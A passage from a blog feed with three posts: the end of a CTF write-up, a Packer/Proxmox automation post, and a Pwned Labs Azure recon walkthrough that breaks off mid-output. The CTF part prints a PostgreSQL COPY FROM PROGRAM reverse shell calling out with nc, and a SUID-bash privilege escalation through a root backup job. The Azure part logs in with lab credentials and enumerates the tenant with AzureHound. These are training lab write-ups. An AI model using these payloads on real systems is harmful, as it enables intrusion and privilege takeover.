</span></span><span style="display:flex;"><span>(<span style="color:#ae81ff">1</span> <span style="color:#66d9ef">row</span>)
</span></span></code></pre></div><p>We do some research to see how we could exploit this either by command execution or file write and we find an <a href="https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767">interesting article</a> which talks about how we can use the <code>copy</code> command to get command execution.  This proves to be successful in that we have been able to create a table and then pass in a reverse shell command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>postgres<span style="color:#f92672">=#</span> <span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> shell(<span style="color:#66d9ef">output</span> text);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=#</span> <span style="color:#66d9ef">COPY</span> shell <span style="color:#66d9ef">FROM</span> PROGRAM <span style="color:#e6db74">&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.8.4.179 443 &gt;/tmp/f&#39;</span>;
</span></span></code></pre></div><p>With our listener, we have gotten a shell</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ nc -nlvp <span style="color:#ae81ff">443</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">443</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.8.4.179<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.70.64<span style="color:#f92672">]</span> <span style="color:#ae81ff">47610</span>
</span></span><span style="display:flex;"><span>/bin/sh: 0: can<span style="color:#960050;background-color:#1e0010">&#39;</span>t access tty; job control turned off
</span></span><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>115<span style="color:#f92672">(</span>postgres<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>123<span style="color:#f92672">(</span>postgres<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>123<span style="color:#f92672">(</span>postgres<span style="color:#f92672">)</span>,122<span style="color:#f92672">(</span>ssl-cert<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>$
</span></span></code></pre></div><p>After stabilizing our shell, we have found the user flag in <code>/var/lib/postgresql/user.txt</code></p>
<h2 id="privilege-escalation">Privilege Escalation</h2>
<p>Before we start with manual enumeration, we download and run <code>pspy64</code> from our machine to see what is happening in the background and the following stands out</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>2025/02/04 08:23:02 CMD: UID<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>     PID<span style="color:#f92672">=</span><span style="color:#ae81ff">3421</span>   | /bin/bash /usr/bin/backup
</span></span><span style="display:flex;"><span>2025/02/04 08:23:03 CMD: UID<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>     PID<span style="color:#f92672">=</span><span style="color:#ae81ff">3422</span>   | /bin/bash /usr/bin/backup
</span></span><span style="display:flex;"><span>2025/02/04 08:23:03 CMD: UID<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>     PID<span style="color:#f92672">=</span><span style="color:#ae81ff">3423</span>   | /bin/bash /usr/bin/backup
</span></span></code></pre></div><p>The following is the content of the <code>/usr/bin/backup</code> script</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>date<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>/usr/bin/date +<span style="color:#e6db74">&#34;%FT%H%M&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>/usr/bin/rm -rf /opt/backups/current/*
</span></span><span style="display:flex;"><span>/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
</span></span><span style="display:flex;"><span>/usr/bin/zip -r <span style="color:#e6db74">&#34;/var/backups/archive-</span>$date<span style="color:#e6db74">.zip&#34;</span> /opt/backups/current/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>count<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>/usr/bin/find <span style="color:#e6db74">&#34;/var/backups/&#34;</span> -maxdepth <span style="color:#ae81ff">1</span> -type f -o -type d | /usr/bin/wc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">&#34;</span>$count<span style="color:#e6db74">&#34;</span> -gt <span style="color:#ae81ff">10</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>  /usr/bin/rm -rf /var/backups/*
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span></code></pre></div><p>As anything that is in the main Postgres Directory is backed up we can copy <code>/bin/bash</code> to this directory and set SUID bit on it.  When the job executes as root and it is copied across to <code>/opt/backups/current</code> it will have root ownership permissions and with SUID permissions we will be able to execute it with root privileges</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>postgres@slonik:/var/lib/postgresql/14/main$ cp /bin/bash badbash
</span></span><span style="display:flex;"><span>postgres@slonik:/var/lib/postgresql/14/main$ chmod <span style="color:#ae81ff">4755</span> badbash
</span></span></code></pre></div><p>We wait for the background job to run, execute the binary and we are root</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>postgres@slonik:/opt/backups/current$ ./badbash -p
</span></span><span style="display:flex;"><span>postgres@slonik:/opt/backups/current$ ./badbash -p
</span></span><span style="display:flex;"><span>badbash-5.1# whoami
</span></span><span style="display:flex;"><span>root
</span></span></code></pre></div><p>We have the flag and the machine is Pwned!</p>
]]></content>
        </item>
        
        <item>
            <title>My Journey with Packer, Proxmox and Beyond</title>
            <link>https://www.nephos.guru/posts/2024/packer_journey/</link>
            <pubDate>Mon, 25 Nov 2024 10:42:34 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/packer_journey/</guid>
            <description>&lt;h2 id=&#34;the-spark-that-started-it-all&#34;&gt;The Spark that Started it All&lt;/h2&gt;
&lt;p&gt;Like many of life&amp;rsquo;s journeys, it began with a conversation with a client about improving automation within their environment and the benefits that it would provide in the long term.  During this conversation we were talking about the benefits of standardisation with regards to build processes and they mentioned they were considering moving to Proxmox from VMware ESXi.&lt;/p&gt;
&lt;p&gt;I have been using Proxmox for several years for my home network / home lab and have been very happy with it as it &amp;ldquo;just works&amp;rdquo; and I have created several templates from Cloud Images which allow me to provision machines quickly.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="the-spark-that-started-it-all">The Spark that Started it All</h2>
<p>Like many of life&rsquo;s journeys, it began with a conversation with a client about improving automation within their environment and the benefits that it would provide in the long term.  During this conversation we were talking about the benefits of standardisation with regards to build processes and they mentioned they were considering moving to Proxmox from VMware ESXi.</p>
<p>I have been using Proxmox for several years for my home network / home lab and have been very happy with it as it &ldquo;just works&rdquo; and I have created several templates from Cloud Images which allow me to provision machines quickly.</p>
<p>I have used several tools from Hashicorp over the years and they generally work well, but Packer was not one of those that I had really given much attention to, so I decided that I would check it out and started with their version of &ldquo;Hello World&rdquo; and build a <a href="https://developer.hashicorp.com/packer/tutorials/docker-get-started?product_intent=packer">Docker Image</a> which was very straight forward and worked.</p>
<h2 id="first-steps-the-ubuntu-safety-net">First Steps: The Ubuntu Safety Net</h2>
<p>My preferred Linux Distribution for Servers is Debian, but my client uses Ubuntu and it is well-documented, widely supported and it &ldquo;just works&rdquo; with Hashicorp Packer. I was able to get a build up in about 30 minutes that just worked.</p>
<h2 id="the-debian-challenge-when-documentation-falls-short">The Debian Challenge: When Documentation Falls Short</h2>
<p>Debian, my preferred server distribution, &ldquo;how different could it be?&rdquo;, after all Ubuntu is Debian-based.  Oh how naive I was, with the first hurdle out of the gate, the preseed configuration.</p>
<h3 id="challenge-1-the-preseed-puzzle">Challenge #1: The Preseed Puzzle</h3>
<p>Ubuntu&rsquo;s automated installation was straightforward, but Debian&rsquo;s preseed configuration felt like solving a cryptic crossword. The <a href="https://wiki.debian.org/DebianInstaller/Preseed">official documentation</a> exists and is very thorough, but left many questions unanswered. After several failed builds and hours of debugging, it became evident that Debians philosphy of explicit configuration extends to the automated install process as well.  Whilst this was initially frustrating, I must admit that I do prefer the power of this after the initial learning hurdle.</p>
<blockquote>
<p>When you are building, whether this is in Proxmox, QEMU or Virtualbox, ensure that you disable headless mode and watch the console as the first time I was waiting about 15 minutes and it was at a prompt waiting for input which required changes to the preseed file.</p>
</blockquote>
<h3 id="challenge-2-the-proxmox-dance">Challenge #2: The Proxmox Dance</h3>
<p>With the preseed file configured, the next challenge is ensuring that you have all the settings correct and special attention has to be paid with regards to Network and Storage configuration.</p>
<blockquote>
<p>There are nuances between different providers, for example Proxmox and QEMU are happy with specifying disk size like 50G, but Virtual Box requires it to be a integer value in MBs.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-hcl" data-lang="hcl"><span style="display:flex;"><span><span style="color:#75715e">  # VM General Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  vm_id          <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;6000&#34;</span>
</span></span><span style="display:flex;"><span>  vm_name        <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;debian-12-minimal-template&#34;</span>
</span></span><span style="display:flex;"><span>  template_description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Debian 12 minimal template built with Packer&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  # VM OS Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">boot_iso</span> {
</span></span><span style="display:flex;"><span>    iso_file         <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;local:iso/debian-12.7.0-amd64-netinst.iso&#34;</span>
</span></span><span style="display:flex;"><span>    iso_storage_pool <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;local&#34;</span>
</span></span><span style="display:flex;"><span>  }<span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  # VM System Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  qemu_agent    <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  scsi_controller <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;virtio-scsi-pci&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  # VM Hard Disk Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">disks</span> {
</span></span><span style="display:flex;"><span>    disk_size         <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;50G&#34;</span>
</span></span><span style="display:flex;"><span>    format           <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;raw&#34;</span>
</span></span><span style="display:flex;"><span>    storage_pool     <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;data_hdd&#34;</span>
</span></span><span style="display:flex;"><span>    type             <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;scsi&#34;</span>
</span></span><span style="display:flex;"><span>  }<span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  # VM CPU Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  cores <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;4&#34;</span>
</span></span><span style="display:flex;"><span>  memory <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;4096&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  # VM Network Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">network_adapters</span> {
</span></span><span style="display:flex;"><span>    model    <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;virtio&#34;</span>
</span></span><span style="display:flex;"><span>    bridge   <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;vmbr0&#34;</span>
</span></span><span style="display:flex;"><span>    firewall <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>  }<span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">  # VM Cloud-Init Settings
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  cloud_init <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  cloud_init_storage_pool <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;data_hdd&#34;</span>
</span></span></code></pre></div><p>These are not major obstacles, but just ensure that you understand the necessary virtual hardware configuration and make the appropriate adjustments.</p>
<h2 id="taking-it-further">Taking it Further</h2>
<p>When I had it working with Proxmox, I decided to test it further and see if I could build it in QEMU and then VirutalBox, both of which had challenges as each of them has their own nuances which do need to be addressed, but with the foundation built from deploying on Proxmox, these were manageable.</p>
<h3 id="enter-ansible-bringing-order-to-chaos">Enter Ansible: Bringing Order to Chaos</h3>
<p>I have been using Ansible for many years and already have a decent collection of playbooks and wanted to incorporate this into the builds to have baseline images that were fully customised and integrating Ansible with Packer was extremely straight-forward</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-hcl" data-lang="hcl"><span style="display:flex;"><span><span style="color:#66d9ef">provisioner</span> <span style="color:#e6db74">&#34;ansible&#34;</span> {
</span></span><span style="display:flex;"><span>  playbook_file <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;./playbooks/base.yml&#34;</span>
</span></span><span style="display:flex;"><span>  extra_arguments <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;--extra-vars&#34;</span>,
</span></span><span style="display:flex;"><span>    &#34;ansible_python_interpreter<span style="color:#f92672">=</span><span style="color:#960050;background-color:#1e0010">/</span><span style="color:#66d9ef">usr</span><span style="color:#960050;background-color:#1e0010">/</span><span style="color:#66d9ef">bin</span><span style="color:#960050;background-color:#1e0010">/</span><span style="color:#66d9ef">python3</span><span style="color:#960050;background-color:#1e0010">&#34;</span>
</span></span><span style="display:flex;"><span>  ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>There is a lot more that can be done with Ansible and this is an area that I will personally be continually building out.</p>
<h2 id="lessons-learnt-and-future-horizons">Lessons Learnt and Future Horizons</h2>
<p>I am still very much in the early stages with Packer and will constantly be refining, enhancing and streamlining as my knowledge grows in this area, but these are the key lessons to date:</p>
<ol>
<li>
<p><strong>Documentation is a Starting Point, Not the Destination</strong>:  Official documentation are invaluable, nothing beats hands on implementations that will often result in going down many rabbit holes, diving into the depths of system internals and hunting down obscure errors, but damn it is fun and you learn a LOT.</p>
</li>
<li>
<p><strong>Platform Differences Matter</strong>: What works on one platform isn&rsquo;t guaranteed to work and in some cases, may fail spectacularly in another.  Understanding the differences is crucial and all part of the journey.</p>
</li>
<li>
<p><strong>Automation is Key</strong>: This was a lesson I learnt nearly 30 years ago and it holds up even more so today.  The more something is automated, the more consistent and reliable the builds are and reduces the opportunity for error of every manual step that is automated.</p>
</li>
<li>
<p><strong>Community is King</strong>: Sharing knowledge and tapping into the experiences of others who have traveled the road before is important and contributing back to this knowledge base is a top priority.</p>
</li>
</ol>
<h3 id="road-ahead">Road Ahead</h3>
<p>The current setup works well, but there&rsquo;s always room for improvement and some areas that I will be exploring are:</p>
<ul>
<li>Implementing a proper CI/CD pipeline for image builds</li>
<li>Adding automated testing for the built images</li>
<li>Creating a validation framework for configuration changes</li>
<li>Exploring multi-architecture support (I have tried building ARM image, but this is proving to be extremely challenging in QEMU on an Intel machine, but will keep chipping away at it)</li>
</ul>
<h2 id="show-me-the-code">Show me the Code!</h2>
<p>I&rsquo;ll be sharing the code at <a href="https://gitlab.com/n3ph0s/lab">GitLab</a> which will over time include:</p>
<ul>
<li>Packer configurations for Proxmox and QEMU</li>
<li>Debian preseed file</li>
<li>Helper Scripts</li>
</ul>
<h2 id="final-thoughts">Final Thoughts</h2>
<p>The journey is as valuable as the destination and the skills you develop along the way are invaluable to all aspects of your life.  Don&rsquo;t be afraid to experiment, break things, enjoy the ride and most important take notes.</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Azure Recon with BloodHound</title>
            <link>https://www.nephos.guru/posts/2024/azurereconbloodhound/</link>
            <pubDate>Mon, 18 Nov 2024 17:43:03 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/azurereconbloodhound/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/intro-to-azure-recon-with-bloodhound&#34;&gt;Azure Recon with BloodHound&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;After discovering that a public company GitHub repository contained accidentally committed credentials, Mega Big Tech has requested us to investigate the extent of potential exposure. They want to determine if these credentials can be used to access their cloud environment and if any confidential data is at risk.&lt;/p&gt;
&lt;h2 id=&#34;learning-outcomes&#34;&gt;Learning Outcomes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Setting up BloodHound&lt;/li&gt;
&lt;li&gt;Collecting Azure data using AzureHound&lt;/li&gt;
&lt;li&gt;Using BloodHound to get situational awareness&lt;/li&gt;
&lt;li&gt;Enumerating custom security attributes using PowerShell&lt;/li&gt;
&lt;li&gt;Accessing credentials in virtual machine user data&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;real-world-context&#34;&gt;Real World Context&lt;/h2&gt;
&lt;p&gt;Gaining situational awareness of a network is vital for defenders. Tools like BloodHound offer a visual representation of Azure relationships and permissions, helping defenders identify potential attack paths, over-permissive configurations, and simulate attacker reconnaissance. This insight and purple team approach enables proactive defense and reduces the attack surface.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/intro-to-azure-recon-with-bloodhound">Azure Recon with BloodHound</a></p>
<h2 id="scenario">Scenario</h2>
<p>After discovering that a public company GitHub repository contained accidentally committed credentials, Mega Big Tech has requested us to investigate the extent of potential exposure. They want to determine if these credentials can be used to access their cloud environment and if any confidential data is at risk.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Setting up BloodHound</li>
<li>Collecting Azure data using AzureHound</li>
<li>Using BloodHound to get situational awareness</li>
<li>Enumerating custom security attributes using PowerShell</li>
<li>Accessing credentials in virtual machine user data</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Gaining situational awareness of a network is vital for defenders. Tools like BloodHound offer a visual representation of Azure relationships and permissions, helping defenders identify potential attack paths, over-permissive configurations, and simulate attacker reconnaissance. This insight and purple team approach enables proactive defense and reduces the attack surface.</p>
<h2 id="entry-point">Entry Point</h2>
<pre tabindex="0"><code>IAM User: Jose.Rodriguez@megabigtech.com
Password: Bigt3ch123!
</code></pre><hr>
<h2 id="attack">Attack</h2>
<p>One of the first things that we should do when we have gained access to an environment is to gain situational awareness to help orient ourselves and to understand what potential attack vectors may exist and the quote from John Lambert, <a href="https://github.com/JohnLaTwC/Shared/blob/master/Defenders%20think%20in%20lists.%20Attackers%20think%20in%20graphs.%20As%20long%20as%20this%20is%20true%2C%20attackers%20win.md">Defenders think in lists. Attackers think in graphs. As long as this is true, attackers win</a>sums this up beautifully.  To help us understand the interconnectedness of systems, we shall use BloodHoundCE.</p>
<p>To setup, refer to the article <a href="https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267-Install-BloodHound-Community-Edition-with-Docker-Compose">Install BloodHound Community Edition with Docker Compose</a>from BloodHound Support which provides detailed instructions.</p>
<blockquote>
<p>With Docker and Docker Compose Installed, run the command <code>curl -L https://ghst.ly/getbhce | docker-compose -f - up -d</code></p>
</blockquote>
<p>Once it has started, we need to run the command <code>docker logs [container name]</code> to get the password that we will use to login.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bloodhound_1  | <span style="color:#f92672">{</span><span style="color:#e6db74">&#34;level&#34;</span>:<span style="color:#e6db74">&#34;info&#34;</span>,<span style="color:#e6db74">&#34;time&#34;</span>:<span style="color:#e6db74">&#34;2024-09-05T05:11:25.252284793Z&#34;</span>,<span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#e6db74">&#34;# Initial Password Set To:    jDTqC9D5Aer8QjAVFnUc6OkR2jzCaUUO    #&#34;</span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We then navigate to <code>http://localhost:8080/ui/login</code> and login with username admin and the randomly generated password, we will be prompted to enter a new password.</p>
<p>Once we have logged in we then click on the cog in the top right of the page and select Download Collectors</p>
<p><img src="/assets/pwn_20241118130955.png" alt=""></p>
<p><img src="/assets/pwn_20241118131030.png" alt=""></p>
<p>We will select AzureHound and we can view the contents of the file with the command <code>unzip -l azurehound-v2.2.1.zip</code> showing a number ov versions for different Operating System architectures.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ unzip -l azurehound-v2.2.1.zip
</span></span><span style="display:flex;"><span>Archive:  azurehound-v2.2.1.zip
</span></span><span style="display:flex;"><span>  Length      Date    Time    Name
</span></span><span style="display:flex;"><span>---------  ---------- -----   ----
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">0</span>  2024-10-22 15:43   azurehound-darwin-amd64/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">11404928</span>  2024-09-06 16:13   azurehound-darwin-amd64/azurehound
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">0</span>  2024-10-22 15:43   azurehound-darwin-arm64/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">11146178</span>  2024-09-06 16:13   azurehound-darwin-arm64/azurehound
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">0</span>  2024-10-22 15:43   azurehound-linux-amd64/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">10510336</span>  2024-09-06 16:13   azurehound-linux-amd64/azurehound
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">0</span>  2024-10-22 15:43   azurehound-linux-arm64/
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">9895936</span>  2024-09-06 16:13   azurehound-linux-arm64/azurehound
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">0</span>  2024-10-22 15:43   azurehound-windows-amd64/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">10869760</span>  2024-09-06 16:13   azurehound-windows-amd64/azurehound.exe
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">0</span>  2024-10-22 15:43   azurehound-windows-arm64/
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">10205184</span>  2024-09-06 16:13   azurehound-windows-arm64/azurehound.exe
</span></span><span style="display:flex;"><span>---------                     -------
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">64032322</span>                     <span style="color:#ae81ff">12</span> files
</span></span></code></pre></div><p>We need to have the Tenant ID, so first we will authenticate to Azure to get that information and then we will run AzureHound</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ az login -u Jose.Rodriguez@megabigtech.com -p <span style="color:#e6db74">&#39;Bigt3ch123!&#39;</span>
</span></span><span style="display:flex;"><span>Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid<span style="color:#f92672">=</span><span style="color:#ae81ff">2276314</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;cloudName&#34;</span>: <span style="color:#e6db74">&#34;AzureCloud&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;homeTenantId&#34;</span>: <span style="color:#e6db74">&#34;2590ccef-687d-493b-ae8d-441cbab63a72&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;ceff06cb-e29d-4486-a3ae-eaaec5689f94&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;isDefault&#34;</span>: true,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;managedByTenants&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;Microsoft Azure Sponsorship&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;state&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tenantDefaultDomain&#34;</span>: <span style="color:#e6db74">&#34;megabigtech.com&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tenantDisplayName&#34;</span>: <span style="color:#e6db74">&#34;Default Directory&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tenantId&#34;</span>: <span style="color:#e6db74">&#34;2590ccef-687d-493b-ae8d-441cbab63a72&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;user&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;Jose.Rodriguez@megabigtech.com&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;user&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">]</span>
</span></span></code></pre></div><p>We then run AzureHound to extract information and for detailed information the on the commands and options, refer to the <a href="https://support.bloodhoundenterprise.io/hc/en-us/articles/17481642843803-All-AzureHound-Community-Edition-Flags-Explained">Support Documentation</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ./azurehound -u Jose.Rodriguez@megabigtech.com -p <span style="color:#e6db74">&#39;Bigt3ch123!&#39;</span> --tenant <span style="color:#e6db74">&#39;2590ccef-687d-493b-ae8d-441cbab63a72&#39;</span> list --output mbt-output.json
</span></span><span style="display:flex;"><span>AzureHound v2.2.1
</span></span><span style="display:flex;"><span>Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>No configuration file located at /home/kali/.config/azurehound/config.json
</span></span><span style="display:flex;"><span>2024-11-18T13:21:22+08:00 INF collecting azure objects...
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all devices count<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all groups count<span style="color:#f92672">=</span><span style="color:#ae81ff">27</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all users count<span style="color:#f92672">=</span><span style="color:#ae81ff">78</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all device owners
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF warning: unable to process azure management groups; either the organization has no management groups or azurehound does not have the reader role on the root management group.
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all management group role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all management group descendants
</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all apps count<span style="color:#f92672">=</span><span style="color:#ae81ff">42</span>
